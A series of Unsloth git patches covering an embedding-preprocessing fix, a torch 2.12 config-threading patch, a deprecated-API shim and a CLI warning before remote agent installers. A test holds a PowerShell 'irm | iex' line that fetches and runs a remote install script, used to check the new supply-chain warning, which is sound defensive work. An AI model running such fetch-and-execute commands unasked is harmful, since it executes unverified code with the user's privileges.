+                    page.on("pageerror", lambda e: page_errors.append(str(e)))
+                    page.on("console", _on_console)
+    if relogin_err is not None:
+        raise relogin_err
+    # Composer mount confirms the rotated session is authenticated. Kept OUTSIDE the
+    # retry: the loop breaks right after submit, so we never re-goto /login once login
+    # has set tokens -- that would hit the guest guard, redirect to /chat, and make a
+    # merely-slow composer look like a broken login.
     composer = page.locator('textarea[aria-label="Message input"]')
     composer.wait_for(state = "visible", timeout = 60_000)
     shoot("18-relogin-with-NEW2")

From 5e43c623b98affc23efbf9dbe71061de7c1706a2 Mon Sep 17 00:00:00 2001
From: Etherl <61019402+Etherll@users.noreply.github.com>
Date: Thu, 9 Jul 2026 11:46:22 +0300
Subject: [PATCH 279/306] Fix FastSentenceTransformer Qwen embedding
 preprocessing (#6939)

* Fix FastSentenceTransformer Qwen embedding preprocessing

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Document Transformer.load embedding modality fix for #6881

* Harden #6881 fix and add forwards/backwards-compatible regression tests

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fall back to Transformer constructor on legacy sentence-transformers without Hub-capable load

* Mirror legacy sentence-transformers fallback in embedding-parity tripwire test

* Tighten #6881 comments and docstrings

* Skip embedding-parity test on CPU-only runners since FastSentenceTransformer requires CUDA

* Honor the transformer module's saved subfolder when loading

modules.json records a path for the Transformer module (root  for
decoder embedders like Qwen3-Embedding, 0_Transformer for the classic
layout). Pooling/Normalize already load from their saved path; thread the
same path into Transformer.load as subfolder so config and tokenizer
resolve like stock ST.  stays a no-op, so single-module models are
unchanged.

* Make embedding-parity test bf16-aware

fp16 overflows to NaN on bf16-native embedders such as EmbeddingGemma
(Gemma3), producing a false parity failure. Prefer bf16 when the GPU
supports it so the tripwire can guard the full documented embedding
matrix (Qwen3-Embedding, EmbeddingGemma, BGE-M3, all-MiniLM, GTE-ModernBERT),
not just fp16-safe models.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
---
 ...t_sentence_transformer_embedding_parity.py | 122 ++++++++++++++++++
 ...st_sentence_transformers_pinned_symbols.py |  38 ++++++
 unsloth/models/sentence_transformer.py        |  65 +++++++++-
 3 files changed, 222 insertions(+), 3 deletions(-)
 create mode 100644 tests/python/test_fast_sentence_transformer_embedding_parity.py

diff --git a/tests/python/test_fast_sentence_transformer_embedding_parity.py b/tests/python/test_fast_sentence_transformer_embedding_parity.py
new file mode 100644
index 0000000000..252d4486a5
--- /dev/null
+++ b/tests/python/test_fast_sentence_transformer_embedding_parity.py
@@ -0,0 +1,122 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team.
+"""Regression guard for issue #6881: FastSentenceTransformer must preprocess text
+like a stock SentenceTransformer for decoder embedding models. ST 5.x infers a
+"message" modality for chat-template models (e.g. Qwen/Qwen3-Embedding), so building
+via `Transformer(model_name, ...)` chat-wraps inputs and degrades embeddings;
+`_create_transformer_module` uses `Transformer.load(...)` instead.
+
+Layers: test_transformer_load_signature_supports_unsloth_kwargs (fast, runs when ST
+is importable) and test_fast_sentence_transformer_matches_stock_st (end-to-end parity,
+opt-in via UNSLOTH_EMBEDDING_PARITY_MODEL so default CI is unaffected).
+"""
+
+from __future__ import annotations
+
+import inspect
+import os
+
+import pytest
+
+
+def test_transformer_load_signature_supports_unsloth_kwargs():
+    """Forwards-compat tripwire: a Hub-capable Transformer.load must accept the kwargs
+    the #6881 fix passes. Legacy ST 3.x/4.x expose load(input_path); the code falls back
+    to Transformer(...) there, so mirror that gate and skip."""
+    models = pytest.importorskip("sentence_transformers.models")
+    load = getattr(models.Transformer, "load", None)
+    assert callable(load), (
+        "sentence_transformers Transformer.load is missing; the #6881 fix in "
+        "unsloth.models.sentence_transformer._create_transformer_module depends on it."
+    )
+    params = inspect.signature(load).parameters
+    accepts_var_kw = any(p.kind is inspect.Parameter.VAR_KEYWORD for p in params.values())
+    # Mirror _create_transformer_module's hub_capable gate.
+    hub_capable = accepts_var_kw or any(k in params for k in ("token", "cache_folder", "revision"))
+    if not hub_capable:
+        pytest.skip(
+            "legacy Transformer.load(input_path); production path falls back to Transformer(...)"
+        )
+    unsupported = [
+        k
+        for k in ("token", "cache_folder", "revision", "trust_remote_code")
+        if not (accepts_var_kw or k in params)
+    ]
+    assert not unsupported, (
+        f"installed sentence_transformers Transformer.load no longer accepts {unsupported} "
+        f"and has no **kwargs; update _create_transformer_module (#6881) before it silently "
+        f"falls back to Transformer(...)."
+    )
+
+
+def _probe_texts():
+    return [
+        "roasted chickpeas in 20 kg bags",
+        "The capital of France is Paris.",
+        "A fast brown fox jumps over the lazy dog.",
+        "recette de tarte aux pommes traditionnelle",
+    ]
+
+
+def test_fast_sentence_transformer_matches_stock_st():
+    """End-to-end: FastSentenceTransformer embeddings and tokenization must match a
+    stock SentenceTransformer load of the same checkpoint. Opt-in (needs a model) and
+    GPU-only (FastSentenceTransformer requires CUDA), so it skips on CPU-only runners."""
+    model_id = os.environ.get("UNSLOTH_EMBEDDING_PARITY_MODEL")
+    if not model_id:
+        pytest.skip(
+            "set UNSLOTH_EMBEDDING_PARITY_MODEL to a chat-template embedding model "
+            "(HF id or local path) to run the #6881 parity test"
+        )
+
+    torch = pytest.importorskip("torch")
+    if not torch.cuda.is_available():
+        pytest.skip("FastSentenceTransformer requires CUDA; skipping on CPU-only runner")
+    np = pytest.importorskip("numpy")
+    pytest.importorskip("sentence_transformers")
+    from sentence_transformers import SentenceTransformer
+
+    device = "cuda"
+    # Prefer bf16 when the GPU supports it: fp16 overflows to NaN on bf16-native
+    # embedders such as EmbeddingGemma (Gemma3), which would mask real parity.
+    dtype = torch.bfloat16 if torch.cuda.is_bf16_supported() else torch.float16
+    texts = _probe_texts()
+    max_seq_length = 256
+
+    # Control FIRST, before importing unsloth, so its global import patches never
+    # touch the stock reference (mirrors the issue's "restart runtime" repro).
+    ctrl = SentenceTransformer(model_id, device = device, model_kwargs = {"torch_dtype": dtype})
+    ctrl.max_seq_length = max_seq_length
+    ctrl_ids = ctrl.tokenize([texts[0]])["input_ids"][0].tolist()
+    ctrl_emb = np.asarray(
+        ctrl.encode(texts, normalize_embeddings = True, batch_size = 8), dtype = np.float32
+    )
+
+    import unsloth  # noqa: F401
+    from unsloth import FastSentenceTransformer
+
+    fast = FastSentenceTransformer.from_pretrained(
+        model_id,
+        max_seq_length = max_seq_length,
+        dtype = dtype,
+        load_in_4bit = False,
+        load_in_16bit = True,
+    )
+    fast_ids = fast.tokenize([texts[0]])["input_ids"][0].tolist()
+    fast_emb = np.asarray(
+        fast.encode(texts, normalize_embeddings = True, batch_size = 8), dtype = np.float32
+    )
+
+    # Identical tokenization = no chat-template wrapping slipped in (the #6881 defect).
+    assert fast_ids == ctrl_ids, (
+        f"tokenization diverged (chat-template wrapping regressed?):\n"
+        f"  stock: {ctrl_ids}\n  fast:  {fast_ids}"
+    )
+
+    cos = (ctrl_emb * fast_emb).sum(1) / (
+        np.linalg.norm(ctrl_emb, axis = 1) * np.linalg.norm(fast_emb, axis = 1)
+    )
+    assert float(cos.min()) > 0.99, (
+        f"embedding parity regressed: min cosine {float(cos.min()):.5f} <= 0.99 "
+        f"(per-text {[round(float(c), 5) for c in cos]})"
+    )
diff --git a/tests/version_compat/test_sentence_transformers_pinned_symbols.py b/tests/version_compat/test_sentence_transformers_pinned_symbols.py
index c0c35b9d5d..d7f9a54811 100644
--- a/tests/version_compat/test_sentence_transformers_pinned_symbols.py
+++ b/tests/version_compat/test_sentence_transformers_pinned_symbols.py
@@ -19,6 +19,8 @@ ST_TAGS = [
     "v5.2.3",
     "v5.3.0",
     "v5.4.1",
+    "v5.5.1",
+    "v5.6.0",
     "master",
 ]
 
@@ -120,6 +122,42 @@ def test_st_transformer_base_class_either_path(tag: str):
     )
 
 
+# Transformer.load classmethod: unsloth builds saved-ST modules through it (#6881).
+@pytest.mark.parametrize("tag", ST_TAGS)
+def test_st_transformer_load_accepts_unsloth_kwargs(tag: str):
+    """unsloth builds saved ST models via Transformer.load(...) so the saved
+    modality_config is honored (#6881). If .load stops accepting the hub kwargs it
+    passes (and has no **kwargs), update the fix before it silently regresses. Not
+    locating .load is a SKIP (may be inherited); the live test guards the install."""
+    candidates = [
+        "sentence_transformers/models/Transformer.py",
+        "sentence_transformers/models/transformer.py",
+        "sentence_transformers/base/modules/transformer.py",
+        "sentence_transformers/base/modules/module.py",
+    ]
+    for p in candidates:
+        src = fetch_text("UKPLab/sentence-transformers", tag, p)
+        if src is None or not has_def(src, "load", "func"):
+            continue
+        m = re.search(r"def\s+load\s*\((.*?)\)\s*(?:->[^:]*)?:", src, re.S)
+        if m is None:
+            continue
+        sig = m.group(1)
+        accepts_var_kw = "**" in sig
+        missing = [
+            kw
+            for kw in ("token", "cache_folder", "revision", "trust_remote_code")
+            if not (accepts_var_kw or re.search(rf"\b{re.escape(kw)}\b", sig))
+        ]
+        assert not missing, (
+            f"{tag}: Transformer.load in {p} no longer accepts {missing} and has no "
+            f"**kwargs; update unsloth.models.sentence_transformer._create_transformer_module "
+            f"(#6881) before it silently falls back to Transformer(...)."
+        )
+        return
+    pytest.skip(f"{tag}: Transformer.load not locatable in {candidates} (may be inherited)")
+
+
 # sentence_transformers.util: import_from_string + load_dir_path helpers unsloth calls.
 @pytest.mark.parametrize("tag", ST_TAGS)
 def test_st_util_helpers(tag: str):
diff --git a/unsloth/models/sentence_transformer.py b/unsloth/models/sentence_transformer.py
index c1172faa94..4a1a555bcf 100644
--- a/unsloth/models/sentence_transformer.py
+++ b/unsloth/models/sentence_transformer.py
@@ -990,7 +990,17 @@ class FastSentenceTransformer(FastModel):
             return None
 
     @staticmethod
-    def _create_transformer_module(model_name, model, tokenizer, max_seq_length, trust_remote_code):
+    def _create_transformer_module(
+        model_name,
+        model,
+        tokenizer,
+        max_seq_length,
+        trust_remote_code,
+        token = None,
+        cache_dir = None,
+        revision = None,
+        module_subfolder = "",
+    ):
         """Helper to create and configure a Transformer module."""
         from sentence_transformers.models import Transformer
 
@@ -1077,7 +1087,45 @@ class FastSentenceTransformer(FastModel):
                 elif "tokenizer_args" in transformer_init_params:
                     transformer_kwargs["tokenizer_args"] = trust_remote_code_kwargs.copy()
 
-                transformer_module = Transformer(model_name, **transformer_kwargs)
+                # Build via Transformer.load so the saved modality_config is honored: plain
+                # Transformer(...) makes ST 5.x infer a "message" modality for chat-template
+                # models (e.g. Qwen3-Embedding), chat-wrapping inputs and degrading embeddings
+                # (#6881). Only use .load when it resolves a Hub id (accepts the kwargs or
+                # **kwargs); legacy ST 3.x/4.x load(input_path) is local-only with no modality
+                # bug, so fall back to the constructor.
+                transformer_module = None
+                transformer_load = getattr(Transformer, "load", None)
+                has_modules_json = (
+                    FastSentenceTransformer._module_path(
+                        model_name, token, cache_dir = cache_dir, revision = revision
+                    )
+                    is not None
+                )
+                if callable(transformer_load) and has_modules_json:
+                    load_params = inspect.signature(transformer_load).parameters
+                    accepts_var_kw = any(
+                        p.kind is inspect.Parameter.VAR_KEYWORD for p in load_params.values()
+                    )
+                    hub_capable = accepts_var_kw or any(
+                        key in load_params for key in ("token", "cache_folder", "revision")
+                    )
+                    if hub_capable:
+                        load_kwargs = {
+                            "token": token,
+                            "cache_folder": cache_dir,
+                            "revision": revision,
+                            "trust_remote_code": trust_remote_code,
+                            **transformer_kwargs,
+                        }
+                        # Resolve config/tokenizer from the module's saved subfolder
+                        # (modules.json "path"), like stock ST; "" (root) is a no-op.
+                        if module_subfolder:
+                            load_kwargs["subfolder"] = module_subfolder
+                        if not accepts_var_kw:
+                            load_kwargs = {k: v for k, v in load_kwargs.items() if k in load_params}
+                        transformer_module = Transformer.load(model_name, **load_kwargs)
+                if transformer_module is None:
+                    transformer_module = Transformer(model_name, **transformer_kwargs)
             finally:
                 # Restore original Auto* loading immediately
                 AutoModel.from_pretrained = original_model_from_pretrained
@@ -1191,6 +1239,10 @@ class FastSentenceTransformer(FastModel):
                         tokenizer,
                         max_seq_length,
                         trust_remote_code,
+                        token,
+                        cache_dir,
+                        revision,
+                        module_subfolder = module_config.get("path") or "",
                     )
                     modules[name] = transformer_module
                 else:
@@ -1226,7 +1278,14 @@ class FastSentenceTransformer(FastModel):
         )
 
         transformer_module = FastSentenceTransformer._create_transformer_module(
-            model_name, model, tokenizer, max_seq_length, trust_remote_code
+            model_name,
+            model,
+            tokenizer,
+            max_seq_length,
+            trust_remote_code,
+            token,
+            cache_dir,
+            revision,
         )
         modules["0"] = transformer_module
 

From 6d674e5cc9aef396ce8aae45306b2b42beb76244 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 9 Jul 2026 02:08:39 -0700
Subject: [PATCH 280/306] unsloth start: warn before running an agent's remote
 installer (#7024)

When a coding agent is missing, `unsloth start <agent>` offers to run the
vendor's own installer (curl | bash, irm | iex, or npm) after an interactive
confirm. Those installers execute with the user's privileges and there is no
signature or hash check on the fetched content, so a blind "yes" is a
supply-chain risk if the delivery path is compromised.

Keep the auto-install convenience but make consent informed: before the prompt,
name the exact remote source the installer fetches (or the command it runs for a
package installer) and state that nothing verifies a signature or hash. Behavior
is otherwise unchanged: non-interactive stdin still never executes anything, and
the confirm still defaults to no.
---
 unsloth_cli/commands/start.py   | 19 ++++++++++++++++++-
 unsloth_cli/tests/test_start.py | 26 ++++++++++++++++++++++++++
 2 files changed, 44 insertions(+), 1 deletion(-)

diff --git a/unsloth_cli/commands/start.py b/unsloth_cli/commands/start.py
index 764f5c7963..a8665b9be3 100644
--- a/unsloth_cli/commands/start.py
+++ b/unsloth_cli/commands/start.py
@@ -989,6 +989,12 @@ def _refresh_windows_path() -> None:
         os.environ["PATH"] = os.pathsep.join(entries)
 
 
+def _install_source(install_hint: str) -> Optional[str]:
+    """The first http(s) URL an install hint fetches, or None (e.g. an npm install)."""
+    match = re.search(r"https?://[^\s'\")]+", install_hint)
+    return match.group(0) if match else None
+
+
 def _install_agent(name: str, install_hint: str) -> Optional[str]:
     # Missing agent under --launch: offer to run its documented install command, then
     # re-resolve it on PATH. Consent-based (we never auto-run a remote install script
@@ -997,7 +1003,18 @@ def _install_agent(name: str, install_hint: str) -> Optional[str]:
     if not sys.stdin.isatty():
         return None
     typer.echo(f"`{name}` is not installed.")
-    if not typer.confirm(f"Install it now with `{install_hint}`?", default = False):
+    # Make the supply-chain risk explicit before the prompt: these are the vendors'
+    # own installers (curl | bash, irm | iex, npm), run with the user's privileges,
+    # and nothing checks a signature or hash on the fetched content. Naming the source
+    # turns a blind "yes" into informed consent.
+    source = _install_source(install_hint)
+    warning = (
+        f"This will download and RUN a script from {source} with your privileges"
+        if source
+        else f"This will RUN `{install_hint}` with your privileges"
+    )
+    typer.secho(f"{warning}; there is no signature or hash check.", fg = "yellow", err = True)
+    if not typer.confirm(f"Install `{name}` now with `{install_hint}`?", default = False):
         return None
     # Run each hint through the shell it is written for: PowerShell (irm | iex, or npm)
     # on Windows, /bin/sh (curl | bash, or npm) everywhere else.
diff --git a/unsloth_cli/tests/test_start.py b/unsloth_cli/tests/test_start.py
index 18cb40f18d..87a295532e 100644
--- a/unsloth_cli/tests/test_start.py
+++ b/unsloth_cli/tests/test_start.py
@@ -128,6 +128,32 @@ def test_install_agent_uses_powershell_on_windows(monkeypatch):
     assert ran == [["powershell", "-NoProfile", "-Command", install_hint]]
 
 
+def test_install_agent_warns_and_names_remote_source(monkeypatch, capsys):
+    # Before the confirm, a remote installer must name the URL it fetches so the
+    # user consents to a specific source rather than blindly accepting.
+    monkeypatch.setattr(start.os, "name", "nt")
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: False)  # decline: nothing runs
+    hint = "& ([scriptblock]::Create((irm https://hermes-agent.nousresearch.com/install.ps1))) -SkipSetup"
+    assert start._install_agent("hermes", hint) is None
+    err = capsys.readouterr().err
+    assert "https://hermes-agent.nousresearch.com/install.ps1" in err
+    assert "download and RUN" in err
+    assert "signature or hash" in err
+
+
+def test_install_agent_warns_for_package_installer(monkeypatch, capsys):
+    # An npm-style installer has no URL to fetch, but still runs with the user's
+    # privileges, so the warning names the command instead.
+    monkeypatch.setattr(start.os, "name", "posix")
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: False)
+    assert start._install_agent("codex", "npm install -g @openai/codex") is None
+    err = capsys.readouterr().err
+    assert "npm install -g @openai/codex" in err
+    assert "with your privileges" in err
+
+
 def test_hermes_install_hint_is_windows_native_on_windows(monkeypatch):
     monkeypatch.setattr(start.os, "name", "nt")
 

From 0d4bd50768ca1d55009b51dfa097d7c71e819f4b Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 9 Jul 2026 02:26:24 -0700
Subject: [PATCH 281/306] Restore process-global torch.compile config on torch
 2.12 so gradient checkpointing backward honors it (#7019)

* Mirror dynamo/inductor config sets into defaults so torch 2.12 worker threads honor them

torch 2.12 stores config user overrides in ContextVars, so direct
assignments like torch._dynamo.config.recompile_limit = 1024 no longer
reach the autograd engine worker threads. Gradient checkpointing
recomputes fullgraph-compiled gpt-oss kernels inside backward on those
threads, which then read the default recompile limit of 8 and raise
FailOnRecompileLimitHit at step 0 of GRPO/SFT. Mirror direct config
assignments into the process-global entry defaults on torch >= 2.12,
restoring the torch <= 2.11 cross-thread semantics while leaving the
context-scoped config.patch API untouched.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep config.patch thread-local when mirroring dynamo/inductor sets

config.patch(...) also assigns through ConfigModule.__setattr__, so the
default-mirror was leaking its scoped, thread-local writes into the
process-global entry default. Track patch enter/exit with a per-thread
depth counter (wrapping ConfigModule.patch) and skip mirroring while
inside a patch, so only genuine direct assignments restore the torch
2.11 cross-thread semantics and config.patch stays context-local.

* Also keep config.load_config thread-local when mirroring config sets

load_config restores a saved dynamo/inductor config by calling setattr
per key, which the default-mirror would otherwise leak process-wide just
like config.patch did. Wrap load_config with the same per-thread depth
counter (renamed to _scoped_depth) so both scoped writers skip the mirror
and stay context-local, while genuine direct assignments still restore the
torch 2.11 cross-thread default.

* Drop the pre-existing override replay from the config thread fix

The replay was redundant: this runs from _gpu_init before unsloth sets any
dynamo/inductor config, so the __setattr__ wrapper already mirrors every
later assignment (recompile_limit included). It could also read a value
that belonged to a config.patch context still active at import time and
write that thread-local override into the global default. Removing it keeps
the cross-thread fix and drops the now-unused _inductor.config import.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 unsloth/_gpu_init.py    |   6 ++
 unsloth/import_fixes.py | 132 +++++++++++++++++++++++++++++++++++++++-
 2 files changed, 136 insertions(+), 2 deletions(-)

diff --git a/unsloth/_gpu_init.py b/unsloth/_gpu_init.py
index e39b44488a..e6178e60f3 100644
--- a/unsloth/_gpu_init.py
+++ b/unsloth/_gpu_init.py
@@ -173,6 +173,7 @@ from .import_fixes import (
     fix_vllm_guided_decoding_params,
     fix_vllm_pdl_blackwell,
     fix_triton_compiled_kernel_missing_attrs,
+    fix_dynamo_config_thread_visibility,
     patch_trunc_normal_precision_issue,
     ignore_logger_messages,
     patch_ipykernel_hf_xet,
@@ -203,6 +204,10 @@ fix_vllm_guided_decoding_params()
 fix_trl_vllm_ascend()
 fix_vllm_pdl_blackwell()
 fix_triton_compiled_kernel_missing_attrs()
+# Must run before unsloth_zoo's patch_torch_compile and the gpt-oss temporary
+# patches raise the dynamo recompile limits, so those settings reach the
+# autograd worker threads on torch >= 2.12.
+fix_dynamo_config_thread_visibility()
 patch_trunc_normal_precision_issue()
 ignore_logger_messages()
 patch_ipykernel_hf_xet()
@@ -233,6 +238,7 @@ del fix_vllm_guided_decoding_params
 del fix_trl_vllm_ascend
 del fix_vllm_pdl_blackwell
 del fix_triton_compiled_kernel_missing_attrs
+del fix_dynamo_config_thread_visibility
 del patch_trunc_normal_precision_issue
 del ignore_logger_messages
 del patch_ipykernel_hf_xet
diff --git a/unsloth/import_fixes.py b/unsloth/import_fixes.py
index e5a5d01c2f..c5300ed4d0 100644
--- a/unsloth/import_fixes.py
+++ b/unsloth/import_fixes.py
@@ -1064,6 +1064,135 @@ def fix_triton_compiled_kernel_missing_attrs():
     )
 
 
+def fix_dynamo_config_thread_visibility():
+    """torch 2.12 made torch._dynamo/_inductor config overrides thread-local
+    (ContextVars), so `config.recompile_limit = 1024` set on the main thread is
+    invisible to the autograd worker threads that run backward. Gradient
+    checkpointing recompiles fullgraph gpt-oss kernels there against the default
+    limit of 8, raising FailOnRecompileLimitHit at step 0. Mirror direct config
+    assignments into the process-global entry default (torch <= 2.11 semantics).
+    config.patch(...) and config.load_config(...) also assign via __setattr__ but
+    are thread-local by design, so skip mirroring while inside one (tracked per
+    thread). No-op below torch 2.12 and on any torch without this internal layout.
+    """
+    try:
+        import torch
+
+        if Version(torch.__version__) < Version("2.12.0"):
+            return
+        import torch._dynamo.config as _dynamo_config
+        from torch.utils._config_module import ConfigModule
+        from contextvars import ContextVar
+    except Exception:
+        return
+
+    try:
+        probe = getattr(_dynamo_config, "_config", {}).get("recompile_limit", None)
+        if probe is None or not isinstance(getattr(probe, "user_override", None), ContextVar):
+            # Overrides are not context-local on this torch; nothing to fix.
+            return
+        original_setattr = ConfigModule.__setattr__
+        if getattr(original_setattr, "__unsloth_patched__", False):
+            return
+    except Exception:
+        return
+
+    mirrored_modules = ("torch._dynamo.config", "torch._inductor.config")
+
+    # config.patch(...) and config.load_config(...) also assign via __setattr__, but
+    # their writes are thread-local by design; a per-thread depth counter marks them
+    # so they are not mirrored into the process-global default.
+    import threading
+
+    _scoped_depth = threading.local()
+
+    def _in_scoped_write():
+        return getattr(_scoped_depth, "n", 0) > 0
+
+    def _bump(delta):
+        _scoped_depth.n = getattr(_scoped_depth, "n", 0) + delta
+
+    original_patch = ConfigModule.patch
+    if not getattr(original_patch, "__unsloth_patched__", False):
+
+        @functools.wraps(original_patch)
+        def _patched_patch(self, *args, **kwargs):
+            ctx = original_patch(self, *args, **kwargs)
+            try:
+                cls = type(ctx)  # patch() builds a fresh ConfigPatch class each call
+                if not getattr(cls, "__unsloth_patch_wrapped__", False):
+                    _enter0, _exit0 = cls.__enter__, cls.__exit__
+
+                    def _enter(s, _e = _enter0):
+                        _bump(1)
+                        try:
+                            return _e(s)
+                        finally:
+                            _bump(-1)
+
+                    def _exit(
+                        s,
+                        *a,
+                        _x = _exit0,
+                    ):
+                        _bump(1)
+                        try:
+                            return _x(s, *a)
+                        finally:
+                            _bump(-1)
+
+                    cls.__enter__, cls.__exit__ = _enter, _exit
+                    cls.__unsloth_patch_wrapped__ = True
+            except Exception:
+                pass
+            return ctx
+
+        _patched_patch.__unsloth_patched__ = True
+        ConfigModule.patch = _patched_patch
+
+    # load_config restores a saved config by calling setattr per key (thread-local).
+    original_load_config = getattr(ConfigModule, "load_config", None)
+    if callable(original_load_config) and not getattr(
+        original_load_config, "__unsloth_patched__", False
+    ):
+
+        @functools.wraps(original_load_config)
+        def _patched_load_config(self, *args, **kwargs):
+            _bump(1)
+            try:
+                return original_load_config(self, *args, **kwargs)
+            finally:
+                _bump(-1)
+
+        _patched_load_config.__unsloth_patched__ = True
+        ConfigModule.load_config = _patched_load_config
+
+    @functools.wraps(original_setattr)
+    def _patched_setattr(self, name, value):
+        original_setattr(self, name, value)
+        if _in_scoped_write():
+            return  # transient patch / load_config write: keep it thread-local
+        # Aliases (cache_size_limit -> recompile_limit) re-enter with the real name.
+        if self.__dict__.get("__name__", None) in mirrored_modules:
+            try:
+                entry = self.__dict__["_config"].get(name, None)
+                if entry is not None and entry.alias is None:
+                    entry.default = value
+            except Exception:
+                pass
+
+    _patched_setattr.__unsloth_patched__ = True
+    ConfigModule.__setattr__ = _patched_setattr
+
+    # No replay of existing overrides: unsloth installs this before it sets any
+    # dynamo/inductor config, so the wrapper mirrors every later assignment. Replaying
+    # would also bake a still-active config.patch override into the global default.
+    logger.info(
+        "Unsloth: Patched torch config modules so dynamo/inductor settings "
+        "(e.g. recompile_limit) apply across threads on torch >= 2.12."
+    )
+
+
 def patch_trunc_normal_precision_issue():
     """
     Patch torch.nn.init.trunc_normal_ for low precision tensors to run init in fp32.
@@ -1323,8 +1452,7 @@ def fix_vllm_pdl_blackwell():
 
     if patched:
         logger.info(
-            f"Unsloth: Applied PDL fix for SM100 ({sm100_gpu_name}) - "
-            f"patched: {', '.join(patched)}"
+            f"Unsloth: Applied PDL fix for SM100 ({sm100_gpu_name}) - patched: {', '.join(patched)}"
         )
     else:
         # Just set the env var - vLLM might be an older version without supports_pdl

From b509d47dd7427a1ba9ff1c80d1ca64fb9889bddf Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 9 Jul 2026 02:26:36 -0700
Subject: [PATCH 282/306] Silence torch._check_is_size FutureWarning and shim
 it if torch removes it (#7023)

* Silence torch._check_is_size FutureWarning and shim it if torch removes it

bitsandbytes 4-bit dequant calls torch._check_is_size, which torch
deprecated with a FutureWarning ("Use _check(i >= 0) instead") that prints
on every bnb-4bit load. Silence that warning in suppress_cuda_printf, and
add fix_torch_check_is_size so a future torch that removes _check_is_size
gets it shimmed to _check(i >= 0) (honoring the max bound) and bitsandbytes
keeps working.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten fix_torch_check_is_size docstring

Lead with what the shim does and drop the redundant line; two lines
instead of three, same intent.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 unsloth/_gpu_init.py    |  3 +++
 unsloth/import_fixes.py | 28 ++++++++++++++++++++++++++++
 2 files changed, 31 insertions(+)

diff --git a/unsloth/_gpu_init.py b/unsloth/_gpu_init.py
index e6178e60f3..984057e9f7 100644
--- a/unsloth/_gpu_init.py
+++ b/unsloth/_gpu_init.py
@@ -26,6 +26,7 @@ already_imported = [mod for mod in critical_modules if mod in sys.modules]
 # Fix some issues before importing other packages
 from .import_fixes import (
     fix_message_factory_issue,
+    fix_torch_check_is_size,
     check_fbgemm_gpu_version,
     disable_broken_causal_conv1d,
     disable_broken_vllm,
@@ -72,6 +73,7 @@ fix_bitsandbytes_rocm_arch_detection()
 disable_broken_causal_conv1d()
 disable_broken_vllm()
 fix_message_factory_issue()
+fix_torch_check_is_size()
 check_fbgemm_gpu_version()
 torchvision_compatibility_check()
 fix_diffusers_warnings()
@@ -81,6 +83,7 @@ del fix_bitsandbytes_rocm_arch_detection
 del disable_broken_causal_conv1d
 del disable_broken_vllm
 del fix_message_factory_issue
+del fix_torch_check_is_size
 del check_fbgemm_gpu_version
 del torchvision_compatibility_check
 del fix_diffusers_warnings
diff --git a/unsloth/import_fixes.py b/unsloth/import_fixes.py
index c5300ed4d0..09de248c7b 100644
--- a/unsloth/import_fixes.py
+++ b/unsloth/import_fixes.py
@@ -172,6 +172,10 @@ if not UNSLOTH_ENABLE_LOGGING:
     # Deprecation warnings from torchao
     warnings.filterwarnings("ignore", message = "`int4_weight_only` is deprecated")
     warnings.filterwarnings("ignore", message = "`int8_weight_only` is deprecated")
+    # torch._check_is_size FutureWarning (called by bitsandbytes 4-bit dequant)
+    warnings.filterwarnings(
+        "ignore", message = r"_check_is_size will be removed", category = FutureWarning
+    )
 
     # TorchAO deprecated import paths (https://github.com/pytorch/ao/issues/2752)
     warnings.filterwarnings(
@@ -253,6 +257,30 @@ if not UNSLOTH_ENABLE_LOGGING:
     )
 
 
+def fix_torch_check_is_size():
+    """Shim torch._check_is_size if a future torch removes it (bitsandbytes 4-bit
+    dequant calls it). The FutureWarning is silenced in suppress_cuda_printf."""
+    try:
+        import torch
+
+        if hasattr(torch, "_check_is_size"):
+            return
+
+        def _check_is_size(
+            i,
+            message = None,
+            *,
+            max = None,
+        ):
+            torch._check(i >= 0, message)
+            if max is not None:
+                torch._check(i <= max, message)
+
+        torch._check_is_size = _check_is_size
+    except Exception:
+        return
+
+
 # Fix up AttributeError: 'MessageFactory' object has no attribute 'GetPrototype'
 # MUST do this at the start primarily due to tensorflow causing issues
 def fix_message_factory_issue():

From c1e06e9ddfb53a9d40e1fb182030aded94f4b4bb Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 9 Jul 2026 02:47:59 -0700
Subject: [PATCH 283/306] unsloth start: add --persist to keep and reopen agent
 sessions (#7014)

* unsloth start: add --resume to persist and reopen agent sessions

`unsloth start <agent>` launches a coding agent whose home is a throwaway
temp dir wiped on exit, so codex/openclaw/hermes/pi (which relocate their
whole home there) cannot resume a conversation after you quit. opencode and
claude keep their session data in a fixed user dir, so they already resume.

Add an opt-in --resume/--no-resume flag: it routes the launch to the stable
Unsloth agents dir (the same one --no-launch already uses) so the session
survives the exit, never touching the user's own ~/.<agent>. A bare --resume
also reopens the last conversation via the agent's native flag (codex
`resume --last`, opencode/claude/pi `--continue`). The default is unchanged:
a plain launch still uses a temp dir and persists nothing.

Add a dispatch-only `resume` job to the Local Agent Guides CI that drives the
real launch path and asserts the split: codex/pi are wiped without --resume
and persist with it, while opencode/claude persist either way.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* unsloth start: rename --resume to --persist

The session flag collided with agents' own resume flags. `unsloth start
claude --resume <id>` used to forward `--resume <id>` straight to Claude
(which keeps its history in ~/.claude regardless), so a boolean --resume on
